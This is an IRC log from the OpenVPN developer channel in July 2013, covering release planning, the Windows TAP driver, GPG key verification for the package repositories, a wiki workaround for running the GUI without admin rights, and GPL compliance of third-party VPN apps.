<@ecrist> !patches 08:37 < vpnHelper> "patches" is https://community.openvpn.net/openvpn/wiki/Patches 08:47 <@dazo> !Patches 08:47 < vpnHelper> "Patches" is https://community.openvpn.net/openvpn/wiki/Patches 08:47 <@cron2> !patches 08:47 < vpnHelper> "patches" is https://community.openvpn.net/openvpn/wiki/Patches 08:47 <@dazo> uhm ... plaisthos' wiki page disappeared :-P 08:48 <@cron2> looks like plaisthos' and mattock' 08:48 <@cron2> 's page got merged there 08:48 <@dazo> duh 08:49 <@dazo> somehow I clicked the wrong link 08:49 <@dazo> yeah, this looks good :) 09:01 < vpnHelper> RSS Update - testtrac: Added "setenv opt" directive prefix. If present, and if the <https://github.com/OpenVPN/openvpn/commit/2a92fba756d4c1e73300a12ff9e80028a6ab7c09> 09:20 * cron2 reminds dazo of 2.3.x :-) 09:20 <@dazo> oh true! 09:21 <+krzee> !learn patches as http://secure-computing.net/files/patches.jpg 09:21 < vpnHelper> Joo got it. 09:21 <@dazo> I'm just wondering .... as we're almost pulling all master into 2.3 ... with new features ... aren't we making a little mess for ourselves? 09:21 <+krzee> !patches 09:21 < vpnHelper> "patches" is (#1) https://community.openvpn.net/openvpn/wiki/Patches or (#2) http://secure-computing.net/files/patches.jpg 09:22 <@cron2> dazo: there is quite a bit in master already that is not in 2.3, but *these* are all sort of "long-term compat" things, so even if new, I think they have a place in 2.3 09:22 <@cron2> (android stuff is 2.4 only, the "present peer-info" stuff, just off the top of my head) 09:23 <@dazo> I'm just thinking aloud ... maybe we should re-scope some of our 2.4 plans to 2.5 and ship out a 2.4 with there are stuff which AS might need 09:23 <@cron2> but it's time to break 2.4 for good to have more differenciation :-) 09:23 <@dazo> yeah, that's what I'm thinking ... otherwise, we're in a development cyclic which can remind a bit of 2.0 and 2.1 09:24 <@dazo> after all, we want to release more often ;-) 09:24 <+krzee> i dont think its possible to remind me of 2.0 at this point 09:25 <+krzee> that was the release that never ended 09:25 <+krzee> haha 09:25 <@dazo> 2.1 lasted for 6-7 years, I think :) 09:25 <+krzee> wow time flies 09:26 <@dazo> yeah ... 2.2 and 2.3 was just roughly a year or so 09:26 <@cron2> we *are* getting better, but we are taking fuller plates as well :-) - 2.2 was a fairly light release, while 2.3 had much bigger changes 09:26 <+krzee> 2.1 kinda took one for the team 09:26 <+krzee> absorbed a lot of growing pains 09:27 <@dazo> yupp 09:28 <@ecrist> danke, krzee 09:28 <+krzee> =] 11:04 -!- raidz_away is now known as raidz 11:05 <@plaisthos> you could merge my dual stack patches, then -master would be experimental again :D 11:26 <@cron2> plaisthos: yeah, I was considering that :-) 12:11 * cron2 pokes dazo again regarding 2.3... 12:40 -!- dazo is now known as dazo_afk 18:05 -!- ender^ [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 18:18 -!- ender^ [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 18:55 -!- syzzer [~steffan@50709EB6.static.ziggozakelijk.nl] has quit [Read error: Operation timed out] 19:03 -!- syzzer [~steffan@50709EB6.static.ziggozakelijk.nl] has joined #openvpn-devel 19:38 -!- raidz is now known as raidz_away --- Day changed Tue Jul 16 2013 04:22 -!- mattock is now known as mattock_afk 04:57 -!- dazo_afk is now known as dazo 05:16 < derRichard> dazo: look like nobody cares about my windows8 issue :-\ 05:16 <@dazo> derRichard: it's holiday season .... they probably care about the sun and the beach ;-) 05:17 <@cron2> 19:11 * cron2 pokes dazo again regarding 2.3... 05:17 <@dazo> hey! 05:17 <@dazo> yeah ... what exactly do you think about? 05:17 < derRichard> ok 05:19 <@cron2> derRichard: we feel with you, but I'm not sure if anyone is actually qualified to debug that and fix it 05:20 <@cron2> dazo: well, I think the two most recent commits should also go to 2.3 - the "long term compatibility" thing we discussed here yesterday :-) 05:21 <@dazo> ahh, right ... just a sec ... I'm in the middle of figuring out a merge conflict james have ... we've had a mail discussion yesterday about git, just need to figure out what's happening here 05:22 <@cron2> dazo: as long as you're not too annoyed with me, I'll just keep poking you once a day :-) 05:22 <@dazo> sure, no prob with that :) 05:25 < derRichard> cron2: yeah, my windows-fu is sadly not strong enough. /me is a unix developer 05:26 <@dazo> I believe JJK have the needed understanding, at least to figure out why OpenVPN behaves as it does based on on configs and some tcpdumps .... 05:26 <@dazo> when someone understand that, it's easier to see what to fix in the code :) 05:30 <@cron2> derRichard: as are we :-) 05:31 < derRichard> so, openvpn inc has only one windows employee who takes care about the tun/tap stuff on windows? ;) 05:32 <@dazo> the openvpn company is a fairly small company, actually, where James does most of the development on OpenVPN 05:33 <@dazo> that means, openvpn as, openvpn connect (win/osx/android/iphone), openvpn community version ... 05:33 <@cron2> .. and connect uses the same tap driver, which my gut says "is fighting win8"... 05:34 < derRichard> :) 05:35 < derRichard> btw: is the windows tap driver opensource? maybe this is the right time for me to dive into windows kernel land 05:56 <@cron2> derRichard: yes, it is. Building it is somewhat painful as you need the microsoft SDK plus visual studio 05:57 <@cron2> I'm not exactly sure where the tap driver lives today, it got split off the main openvpn.git for 2.3 - mattock will know 05:57 <@cron2> !tap 05:57 <@cron2> !tapdrv 05:57 < vpnHelper> "tap" is "bridge" is (#1) http://openvpn.net/index.php/documentation/faq.html#bridge1, or (#2) http://openvpn.net/index.php/documentation/miscellaneous/ethernet-bridging.html, or (#3) Bridging looks like a good choice to people who don't know how to set up IP routing, but to learn routing is generally far better., or (#4) useful for windows sharing (without wins server) and LAN gaming, anything where 05:57 < vpnHelper> the protocol uses MAC addresses instead of IP addresses. 05:57 <@cron2> !git 05:57 < vpnHelper> "git" is (#1) For the stable git tree: git clone git://git.code.sf.net/p/openvpn/openvpn or (#2) For the development git tree: git://git.code.sf.net/p/openvpn/openvpn-testing or (#3) Browse the git repositories here: http://sourceforge.net/p/openvpn/openvpn-testing/ci/master/tree/ or (#4) See !git-doc how to use git or (#5) git troubles? http://justinhileman.info/article/git-pretty/git-pretty.png 05:57 <@cron2> nah, that's not waht I'm looking for 05:58 <@dazo> just a sec ... I know where it is 05:58 <@dazo> http://sourceforge.net/p/openvpn/tap-windows/ci/master/tree/ 05:58 < vpnHelper> Title: OpenVPN / tap-windows / [d084fa] (at sourceforge.net) 05:58 <@dazo> derRichard, cron2: ^^ 05:59 < derRichard> yay! 06:02 <@cron2> !learn tapdrvr http://sourceforge.net/p/openvpn/tap-windows/ci/master/tree/ 06:02 < vpnHelper> (learn [<channel>] <key> as <value>) -- Associates <key> with <value>. <channel> is only necessary if the message isn't sent on the channel itself. The word 'as' is necessary to separate the key from the value. It can be changed to another word via the learnSeparator registry value. 06:02 <@cron2> !learn tapdrvr as http://sourceforge.net/p/openvpn/tap-windows/ci/master/tree/ 06:02 < vpnHelper> Joo got it. 06:02 <@cron2> !learn git as for the windows TUN/TAP driver repo, look at !tapdrvr 06:02 < vpnHelper> Joo got it. 06:23 < derRichard> lets see. maybe the driver has a debug-switch 06:23 < derRichard> :) 06:57 -!- syzzer [~steffan@50709EB6.static.ziggozakelijk.nl] has quit [Ping timeout: 276 seconds] 06:57 -!- syzzer [~steffan@50709EB6.static.ziggozakelijk.nl] has joined #openvpn-devel 07:41 <@dazo> cron2: I've looked at the gap between v2.3.2 and master .... and this is the list .... http://www.fpaste.org/25643/78457137/ 07:42 <@dazo> I understand the wish to add those two new patches from James though 07:43 <@dazo> but I'm wondering if we rather should consider to release 2.4, which adds snappy as well and cleans up a little bit ... plus the Android stuff can begin to come in 07:44 <@dazo> I don't think we need a full release cycle ... I would say this gap is ready for beta ... 1-2 beta releases and then *maybe* an rc before a 2.4 release .... just so that we avoid adding too much new features into 2.3 07:46 <@dazo> I'd rather do more frequent "major" releases with a much shorter release cycle mechanism (just do a couple of beta, or maybe even rather jump right at rc instantly) 07:46 <@dazo> Get our code faster out ... and just fix issues which might appear in minor releases 07:49 <@dazo> And with a faster turn-over, we really don't need the alpha/beta releases at all .... as the code is far better tested and we catch issues quicker in minor releases 08:03 <@cron2> dazo: I don't think this will work, as distributions are quite reluctant to follow "major" release jumps... as we've seen with 2.2 -> 2.3 08:03 <@cron2> so I assume we'll see 2.3 deployed for a looooong time, even if 2.4 is already out 08:03 <@dazo> cron2: true, but important stuff will be backported by the distros 08:04 <@cron2> (and if we focus on "major release all the time", we'll never get any of the real breakage going, like the service pipe or the dual-stack stuff) 08:04 <@dazo> oh, I think we can pull that stuff into ... and then we release when we find that it has stabilised enough 08:04 <@cron2> so I'd really prefer to maintain 2.3.x for a while, and do serious development into master 08:05 <@cron2> (I'm willing to take over maintenance of 2.3.x if "workload" is your concern) 08:06 <@dazo> then we're actually headed back to a major release not more often than once a year ... and we have those big releases which requires a longer release machinery (through beta and rc at least, to stabilise the release) 08:06 <@cron2> dazo: if we ever want to get more intrusive work done, I don't think there is a way around this 08:08 <@dazo> without any concrete planning, that's right ... but if we say that the service pipe is due in the next round ... then contributors of new code have something concrete to work against 08:08 <@cron2> service pipe, dual-stack socket, ipv6 link local is on my mental road map 08:08 <@dazo> now the situation is "get them reviewed, and sometime in the future your new feature will get into a release ... we don't know when, though" .... that's the uncertainty I'd like to get rid of ... to have something more concrete to work against 08:09 <@cron2> there's no real change to "it will be in 2.4, but we have no idea when we're going to release that" - 2.3 was delayed over a year 08:09 <@dazo> yeah, and that's what I want to get rid off ... those delays 08:10 <@dazo> because we spend those delays in doing alpha/beta/rc 08:10 <@dazo> and that was mostly stabilising, not developing/improving features 08:10 <@cron2> dazo: no, the alpha/beta/rc cycle was not the problem of 2.3 - that cost some 3 months, but the major stopgap was "not enough resources" 08:10 <@cron2> and a strict release schedule won't help that much here 08:11 <@dazo> I'd like to see some more agile approach ... release more often, with smaller change-sets ... and just one big feature 08:11 <@dazo> then we can work more focused on just that part 08:11 <@cron2> this is nice in theory, but does not match the way that "we" work 08:11 <@cron2> it's not like we could say "now, everybody focus on *this* feature" 08:11 <@dazo> agreed 08:12 <@dazo> but that's part of the rant from my side last week ... right now, we don't have a real goal ... we don't have any real plan ... we're just lingering to see what happens 08:13 <@cron2> dazo: I do have a plan and a goal (see above) :-) 08:14 <@dazo> yes, but it's missing the 'when' part ... I'm sure both d12fk and plaisthos would be able to provide patches at an earlier point if they knew when we'd like to get their stuff in 08:15 <@dazo> right now ... it's done when its done 08:15 <@dazo> it's the predictability we're lacking 08:19 <@cron2> dazo: plaisthos is sending patches all the time, but if then nothing happens, where's the benefit? you can't magically make review/integration manpower show up by setting release dates 08:20 <@dazo> fair point 08:20 <@cron2> my goal is to have all material for 2.4 ready after the Munich Hackathon - so we could set "Dec 24" as a projected release date, and see what happens. Would that work for you? 08:21 <@cron2> (and that's one of the reasons to actually do the hackathon - create focus :-) ) 08:21 <@dazo> and it just points out that we probably have a too strict/rigid development model .... which hurts us more 08:25 <@dazo> but I agree, the hackathon might help to get some really needed progress! 10:15 -!- raidz_away is now known as raidz 11:35 -!- mattock_afk is now known as mattock 12:07 -!- Netsplit *.net <-> *.split quits: syzzer, @pekster, jgeboski, ender^ 12:10 -!- Netsplit over, joins: syzzer, ender^, jgeboski, @pekster 12:31 -!- Whoopie_ [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 12:35 -!- Netsplit *.net <-> *.split quits: Whoopie 12:37 -!- Whoopie_ [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 256 seconds] 12:41 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 12:57 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 13:01 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 13:25 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 13:28 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 13:30 -!- dazo is now known as dazo_afk 13:37 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 13:41 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 14:17 -!- syzzer [~steffan@50709EB6.static.ziggozakelijk.nl] has quit [Quit: leaving] 14:21 -!- syzzer [~syzzer@50709EB6.static.ziggozakelijk.nl] has joined #openvpn-devel 14:47 -!- syzzer [~syzzer@50709EB6.static.ziggozakelijk.nl] has quit [Remote host closed the connection] 14:54 -!- syzzer [~syzzer@50709EB6.static.ziggozakelijk.nl] has joined #openvpn-devel 15:05 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 15:09 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 15:20 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 15:23 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 15:46 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 246 seconds] 15:50 -!- Whoopie [Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 17:42 -!- Netsplit *.net <-> *.split quits: +krzee, syzzer, ender^, @pekster, @andj, jgeboski 17:44 -!- Netsplit over, joins: syzzer, @pekster, jgeboski, ender^, +krzee, @andj 17:49 -!- syzzer [~syzzer@50709EB6.static.ziggozakelijk.nl] has quit [Ping timeout: 255 seconds] 17:50 -!- syzzer [~syzzer@50709EB6.static.ziggozakelijk.nl] has joined #openvpn-devel 19:21 -!- raidz is now known as raidz_away --- Day changed Wed Jul 17 2013 01:58 <@mattock> plaisthos: just tested your Android app, works great! 01:58 <@mattock> even with a config file generated by AS 02:13 -!- mattock_ [~yaaic@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:13 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 02:13 -!- mattock_ [~yaaic@openvpn/corp/admin/mattock] has quit [Client Quit] 02:19 < syzzer> mornin' 02:19 < syzzer> who maintains repos.openvpn.net? 02:20 < syzzer> I was wondering, is there a way to verify the authenticity of the gpg key? Like a secured channel to download it, or to check the fingerprint perhaps. 02:29 <@pekster> Get someone you trust here to vouch for it? That's generally the way the WoT is designed to work in the first place 02:30 < syzzer> ah, I've clicked a little more through the community website and found fingerprints, served over an https channel :) 02:31 <@pekster> If they're the same fingerprints the gpg sigs on the GPL download page use, those installers are also code-signed with Windows keys (for the Windows stuff) providing 2 layers of cryptographic assurances, and (probably) making the gpg key more trustworthy 02:33 < syzzer> nopes, fingerprints do not match (http://openvpn.net/index.php/open-source/documentation/sig.html) 02:33 <@pekster> 198D22A3 for those, at least in recent releases 02:33 < vpnHelper> Title: File Signatures (at openvpn.net) 03:25 <@mattock> repos.openvpn.net uses different GPG keys 03:26 <@mattock> just for the use of yum/rpm and apt/dpkg 03:27 <@mattock> both packaging / distribution systems handle package verification automatically 03:31 < syzzer> yup, but to trust that verification, I need to be able to verify the gpg key 03:32 < syzzer> while that key is only available from repos.openvpn.net, over http (as far as I can tell) 03:33 <@mattock> oh yes, http only, good point 03:33 < syzzer> so, a DNS spoofer could replace that key with his own and have people install malicious versions of openvpn 03:34 <@mattock> I'm migrating the repos to another server which seems to have HTTPS support already 03:35 <@mattock> although the certificate is self-signed - not sure why it should be 03:36 <@cron2> .o(dnssec and DANE!) 03:36 < syzzer> adding the fingerprint to http://openvpn.net/index.php/open-source/documentation/sig.html would be a start :) 03:36 < vpnHelper> Title: File Signatures (at openvpn.net) 04:03 <@plaisthos> mattock: thanks 04:06 <@plaisthos> cron2: is there even a browser supporting DANE? 04:09 <@plaisthos> Don't get me wrong I think DANE is a great idea but it does not seem to be adopted 04:48 <@mattock> syzzer: I'll look into that 05:03 -!- mattock is now known as mattock_afk 05:19 <@cron2> plaisthos: bah, who cares for real-world usage when you have such a nice standard :-) 05:30 <@plaisthos> cron2: :) 05:30 <@plaisthos> I have at least a dnssec signed domain 05:31 <@plaisthos> (which will probably stop working in 6 months because of this key rollover/exchange stuff I have not looked at yet) 05:34 <@plaisthos> hm 05:35 <@plaisthos> no browser seems to support DANE 05:35 <@plaisthos> that's sad :( 05:45 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 06:23 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn-devel 06:24 < ||arifaX> I added an entry to the wiki "OpenVPN as non privileged user". How does the review work and how and when does it go public. Who verifies it etc.? 06:27 <@cron2> uh, if you have write permission, it's public when you post it... 06:53 < ||arifaX> cron2: I don't think I have. I created an account. Wrote it (still be able to edit it) but it's not linked on the page. it is under Nonprivileged. My hope is someone reviews it later and allows it to be public. I am currently adding some screenshots. 07:09 < ||arifaX> cron2: you can take a look at the current state via https://community.openvpn.net/openvpn/wiki/Nonprivileged 07:09 < vpnHelper> Title: Nonprivileged – OpenVPN Community (at community.openvpn.net) 07:15 <@cron2> links happen if somebody puts them in... 07:15 < ||arifaX> General question, what do you think about the concept of starting openvpn-gui this way and workaround the "admin-problem" when not using the service? 07:16 <@cron2> d12fk would be the best one to discuss this 07:16 <@cron2> he's the windows ui guy... 07:17 <@cron2> reading through it, I wonder how this works, and whether this can be used to get a cmd.exe, explorer, or whatnot also running with admin privileges - read: is this a gaping security hole? 07:18 <@cron2> ah, ok, wasn't reading enough 07:19 <@cron2> interesting 07:22 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has joined #openvpn-devel 07:22 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 07:26 < ||arifaX> cron2 when you place the scripts in a folder where a user cannot write it should be no problem. and a normal user should also not be able to replace openvpn-gui.exe on the system 07:26 < ||arifaX> its now also on youtube http://youtu.be/DxQaVf8iAJk 07:26 < vpnHelper> Title: OpenVPN as non privileged user - YouTube (at youtu.be) 07:29 < ||arifaX> Thinking... there is a way to get an administrative prompt via viewing the log file and use the file open dialog. So I have to change the registry key for the executable opening the logfile, too. That would fix that. 07:38 <@cron2> ||arifaX: there he is (d12fk). He's da windows man 07:39 * d12fk ducks 08:00 < ||arifaX> d12fk: hi 08:00 <@d12fk> ||arifaX: hello 08:01 < ||arifaX> d12fk: I created a wiki entry about a working solution to use OpenVPN on Win7 and higher without administrative privileges. Wrote a wiki entry already (Nonprivileged). As cron2 mentioned it might give the ability to get an admin-prompt. 08:02 < ||arifaX> I tested and he was right, but I fixed it by pointing editor and logviewer regkey to a file that only shows an error message . so this is now fixed, too (wiki will be updated). I want a general opinion on this. 08:10 <@d12fk> about what? running ovpn as administrator? 08:13 <@cron2> running ovpn as non-admin 08:13 <@cron2> https://community.openvpn.net/openvpn/wiki/Nonprivileged 08:13 < vpnHelper> Title: Nonprivileged – OpenVPN Community (at community.openvpn.net) 08:17 < ||arifaX> I updated the wiki entry so that it explains the problem with viewing logs and edit configuration. In my environment I created an executable notallowed.exe that I preset as editor and log_viewer in the registry. It is in HKLM so users cannot change. So this problem is solved for me. 08:19 <@d12fk> how do you do routing without admin privileges? 08:20 * d12fk has to read to wiki entry obviously 08:21 <@d12fk> ah so you run ovpn as admin 08:21 < ||arifaX> d12fk: Well openvpn-gui has administrative privileges, but the user does not need to be a member of the admin group. a scheduled task at logon of any user creates another scheduled task only for this special user, also executed at logon as the user but assigned highest privileges. The first task also added the user to the nco group to allow the routes stuff. 08:21 < ||arifaX> d12fk: yes 08:22 <@d12fk> ok got it 08:22 <@d12fk> generally it's ok as a workaround, but the wrong path after all 08:22 < ||arifaX> d12fk: I agree 08:22 <@d12fk> anyone mentioned to new service to you yet 08:23 <@d12fk> at the company i work for we run it for a while now and i'm trying to get it ready for upstream 08:23 < ||arifaX> d12fk: I have an old OpenVPN server, that uses OTP for authentication. I tried with the service but there is a problem with OTP afaik.In general with users providing a different password on every login, right? 08:23 <@d12fk> the new service works differently that the other one 08:23 < ||arifaX> d12fk: we have a radius backend and my openvpn server authenticates users against it 08:23 <@d12fk> it's called interactive service for a reason =) 08:23 < ||arifaX> ahh 08:24 < ||arifaX> got it. sounds interesting 08:24 <@d12fk> if you can do some testing that'd be great 08:24 <@d12fk> do you speak win32 api? 08:25 <@d12fk> afk brb 08:25 < ||arifaX> d12fk: not that I know. My programming ends at AutoIT Scripting language, batch and bash. 08:26 < ||arifaX> brb, too *smoke* 08:26 * ||arifaX smoking 08:33 <@d12fk> back 08:34 <@d12fk> ok no biggie, i'd just like someone to review the stuff 08:35 <@d12fk> but testers are also needed, do you have an ipv6 setup? 08:42 < ||arifaX> d12fk: no ipv6, sorry 08:42 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 08:43 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 08:43 -!- dazo_afk is now known as dazo 08:43 < ||arifaX> d12fk: would it be ok to chat you in private, so I would provide you my email address and you could (if you want me to test something) contactme and send stuff. 08:43 <@d12fk> well, it'll have to wait until later this year 08:44 <@d12fk> well the basic stuff is tested as our customers use it day to day, just not ipv6 08:44 < ||arifaX> I see. Is this a public release? 08:44 <@d12fk> sort of 08:45 <@d12fk> it's part of the sophos utm, sources are out there somewhere, but it's a bit of a hassle to get a free license 08:45 <@d12fk> need to register and such 08:46 <@d12fk> i think you could install the iso and use it for 30 days 08:46 < ||arifaX> d12fk: we have sophos utm with the largest license :) 08:46 <@d12fk> ah there you go 08:46 <@d12fk> probably not v9 right 08:47 < ||arifaX> will ask the network guys, but we definetely have access to the downloads and so on, so is it in the latest? 08:47 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 08:48 <@d12fk> the service is integrated in the client you can downlaod from user portal since utm 9, latest is always best of course 08:48 < ||arifaX> d12fk: so if I understand right, this should work because it uses the service, but will ask for reauthentication with a dialog so it might be ok to use it in our environment (our openvpn does not run on the astaro/sophos) 08:49 <@d12fk> you can check if you have it by looking at the services, there should be two openvpn services one of them the interactive one 08:49 <@d12fk> yes should be ok 08:49 < ||arifaX> d12fk: will definetely check that out. - thanks man for that info. 08:49 <@d12fk> the gui uses the mgmt itf to talk to ovpn 08:50 <@d12fk> you are welcome 08:53 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 08:53 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 08:53 -!- dazo_afk is now known as dazo 08:58 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 08:58 <@cron2> d12fk: so what is your estimate when you can send the patches upstream, including IPv6? Having the stuff out well before November could mean "we get it in at the hackathon", alternatively having it *at* the hackathon could mean "you get feedback that needs time to get implemented, so it won't make 'this year'"... 08:59 <@d12fk> hm, true but i don't want to send something untested 08:59 <@cron2> so, test it, then :-) - do you need an account on my testbox with IPv6? 08:59 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 09:00 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 09:00 <@d12fk> what windows version is running? 09:00 -!- dazo_afk is now known as dazo 09:00 <@d12fk> i need a v9 xp as well 09:00 <@d12fk> v6 09:00 <@cron2> ah, client side tests - but you should be able to do that on about any XP, as the v6 is just "in the tunnel" (needs to be activated first, of course) 09:01 <@d12fk> but thing currently look like a will have time soon again 09:01 <@cron2> I thought you were lacking a server side with IPv6 09:01 <@d12fk> nah that one comes for free with linux =) 09:02 <@cron2> well, just let me know if there is anything I can provide to help with testing - the only thing I do not have is "time to *do* testing" right now... :-) 09:02 <@cron2> anyway, need to run, fetch $kid[0] from day care, as $kid[1] is at home with a fever... 09:03 <@d12fk> sounds fun 09:27 <+krzee> hah my dad should put us in an array too, he damn near has too many to sount otherwise 09:28 <+krzee> count* 10:06 <@pekster> d12fk: Interesting you mentioned Sophos; someone in #openvpn yesterday was surprised to learn it was openvpn on the backend, and after reading the marketing FUD on the site, I was too 10:07 <@pekster> Presumably it's got the standard boilerplate license page during the install, but they do seem to go out of their way to label it "Sophos SSL VPN" everywhere on the site shy of actually installing it (which yea, I stopped when I had to "register" for a trial) 10:10 <@d12fk> yeah customers like it when things are called sophos 10:12 <@d12fk> pekster: what license are you referring to? the utms or the client license? 10:13 <@pekster> Well, someone came in asking how to connect to the Sophos VPN, so I gave the usual !provider !notcompat stuff, only to get a pastebin showing openvpn logs ;) 10:14 <@pekster> The marketing material on their website doesn't suggest it's openvpn; while the client installed from the UTM web portal might be openvpn, the users clearly don't have any idea, even if the installer and/or license page notes this 10:14 <@pekster> (and I suppose that's the point.) So long as the license page itself is clear, it's not a problem; I was just surprised when you mentioned it here given the timing 10:15 <@pekster> I lost interest in verifying the EULA/GPL license on the client side when I had to sign up for a trial 10:16 <@d12fk> i can post the license we present if you'r einterested 10:16 <@pekster> Nah, seeing you involved I'm sure it's fine :) 10:16 <@d12fk> and welcome feedback if anything it not ok with it 10:17 <@pekster> Well, as long as they get the GPL notice on installation and info on the openvpn connection, users will just click past it anyway, but the few that care can follow-up and obtain sources if they choose to 10:17 <@d12fk> yeah also the openssl and lzo license iirc 10:18 <@d12fk> also there's the gpl iso with all the source code and modifications to it 10:18 <@d12fk> most of it is just utm specific stuff or too hacky to merge upstream =) 10:19 <@d12fk> just if anyone ever asks you again 10:19 <@pekster> Oh, so the sources are modiofied but the installer media ships with them. Cool, fun to see people actually get that right :P 10:19 <@d12fk> we're trying to 11:08 -!- raidz_away is now known as raidz 11:14 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Remote host closed the connection] 12:16 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn-devel 12:17 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Remote host closed the connection] 19:15 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 256 seconds] 19:19 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 19:19 -!- mode/#openvpn-devel [+o mattock] by ChanServ 19:36 -!- raidz is now known as raidz_away --- Day changed Thu Jul 18 2013 06:41 <@plaisthos> Anyone run across openvpn versions that support "http-proxy-option CUSTOM-HEADER Host "? 06:41 <@plaisthos> I have been asked multiple times to add support for that but I have no idea where that stuff is coming from 06:55 <@plaisthos> seems to from a proejct called NMDVPN 06:55 <@plaisthos> but there are not sources of that NMDVPN.exe to be found ... 06:57 <@d12fk> seems to be s.th. indian 07:36 -!- mattock_ [~yaaic@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:36 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 08:11 <@plaisthos> It is hope less, if you ask the users if the can provide you with source code of that product they will come up with .exe files 08:16 <@plaisthos> It is probably easier to rewrite that patch than to find the source code of NMDVPN 08:17 -!- mattock_ [~yaaic@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 08:45 -!- Whoopie [Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 263 seconds] 08:48 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 08:56 < vpnHelper> RSS Update - tickets: #308: auth-user-pass with file credentials not re-read when tunnel re-start if auth-nocache enabled <https://community.openvpn.net/openvpn/ticket/308> 09:22 <@mattock> plaisthos: I'll add that nmdvpn to my "check if <n> is violating GPL list" 09:23 <@mattock> :) 09:23 <@d12fk> they seem to present the ovpn license from installer screenshots i've discovered 09:23 <@mattock> ah 09:23 <@d12fk> no idea about the source code though 09:24 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 09:25 <@plaisthos> mattock: :) 09:26 <@plaisthos> mattock: want the list of Android apps violating GPL? 09:26 <@mattock> probably not, too much to manage :) 09:26 <@mattock> maybe a list of iOS apps containing GPL code? 09:26 <@mattock> :D 09:27 -!- Whoopie [Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 09:29 <@plaisthos> mattock: https://play.google.com/store/search?q=vpn 09:30 <@plaisthos> Number 1-4 on that list use OpenVPN 09:30 <@plaisthos> ;) 09:33 <@plaisthos> mattock: I think even I could sue them for violating the BSD license of the gui part of my app 09:48 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn-devel 09:49 < ||arifaX> d12fk: I tested the OpenVPN Client from UTM9 with interactive service. Works perfectly without admin rights. Small problem detected. It does not show in a "normal users" startmenu and even not on desktop of all users. Is this by design? 09:51 <@d12fk> yes and no, there should be an option to install it for every user on the system in the installer, currently you have to copy the startmenu entry and autostrat in the registry by hand 09:52 <@d12fk> normally admins install it via run as on the users account 09:52 <@d12fk> could you check if that places the start menu entry right 09:53 <@d12fk> if not open a ticket with sophos, either support knows how to handle it or the ticket will end up with me 09:57 < ||arifaX> Well I can handle the workarround myself since we have already a deployment server in place. So adding the shortcuts is no problem. I am just wondering, since the original openvpn-gui (community edition) i a) 64bit (not x86) and does everything right, but not a big problem 09:58 < ||arifaX> but many thanks for the info from yesterday 09:58 < ||arifaX> d12fk: is there a way to pull the client from the UTM without an integrated profile (via ssh or so?) 10:12 <@d12fk> ||arifaX: it's at /var/confd/res/openvpn/ssl-vpn-client-installer.exe 10:17 <@mattock> plaisthos: yep, if they don't give credit to you 11:01 -!- mattock is now known as mattock_afk 11:11 -!- mattock_afk is now known as mattock 11:11 -!- raidz_away is now known as raidz 11:18 -!- chiiph [~chiiph@unaffiliated/chiiph] has joined #openvpn-devel 11:48 -!- mattock is now known as mattock_afk 12:03 -!- mattock_afk is now known as mattock 12:33 -!- mattock is now known as mattock_afk 12:46 -!- mattock_afk is now known as mattock 13:11 -!- mattock is now known as mattock_afk 13:17 <@cron2> meh 13:17 * cron2 missed his daily poke for dazo 13:24 -!- mattock_afk is now known as mattock 13:35 -!- mattock is now known as mattock_afk 13:45 -!- mattock_afk is now known as mattock 14:21 < vpnHelper> RSS Update - tickets: #309: ip-win32 netsh issue on Korean and Japanese Windows OS <https://community.openvpn.net/openvpn/ticket/309> 15:53 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 18:42 -!- plaisthos 